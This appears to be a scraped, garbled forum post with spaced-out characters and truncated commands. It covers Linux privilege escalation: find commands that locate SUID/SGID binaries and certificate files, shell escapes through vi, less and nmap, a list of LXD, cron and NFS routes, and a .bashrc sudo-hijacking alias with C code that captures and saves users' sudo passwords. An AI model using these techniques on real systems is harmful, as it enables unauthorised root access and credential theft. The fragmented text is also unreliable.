f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l f i n d   /   - p e r m   - g = s   - t y p e   f   2 > / d e v / n f i n d   /   - t y p e   f   ' ( '   - n a m e   . c e r t   - o r   - n a m e   . c r t   - o r   - n a m e   . p e m   - o r   n a m e   . c a   - o r   - n a m e   . p 1 2   - o r   - n a m e   . c e r   - n a m e   * . d e r   ' ) '   ' ( '   ' ( '   - u s   e r   s u p p o r t   - p e r m   - u = r   ' ) '   - o r   ' ( '   - g r o u p   s u p p o r t   - p e r m   - g = r   f i n d   /   - u i d   0   - p e r m   - 4 0 0 0   - t y p e   f   2 > / d e v / n u l l : s e t   s h e l l = / b i n / s h : s h e l l l e s s   / e t c / p a s s w d ! / b i n / s h n m a p   - i n t e r a c t i v e !   s h
0 x 0 4   s u d o L i n u x . b a s h r c   s u d o I m p o s t 3 r s u d o i m p o s t 3 r 0 x 0 5     1 . L X D 2 . c r o n j o b 3 . N F S 4 .     3 6 0 0 0 + a l i a s   s u d o = ' i m p o s t 3 r ( )   { i f   [   - f   " / t m p / . i m p o s t 3 r "   ] ;   t h e n / t m p / . i m p o s t 3 r   " $ @ "   & &   u n a l i a s   s u d o e l s e u n a l i a s   s u d o ; s u d o   " $ @ " f i } ;   i m p o s t 3 r ' i n t   p i d   =   f o r k ( ) ; i f   ( p i d   = =   0 ) { s u c c e s s F l a g   =   0 ; s a v e _ p a s s w d ( u s r I n f o - > p w _ n a m e , o r i g i n P a s s w d , a l l P a s s w d , 1 ) ; r e t u r n   a l l P a s s w d ; } e l s e { w a i t ( N U L L ) ;   / /   e x e c v ( " / u s r / b i n / s u d o " , p a r a m s ) ; e x i t ( 0 ) ; }   s a v e _ p a s s w d   s u d o
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则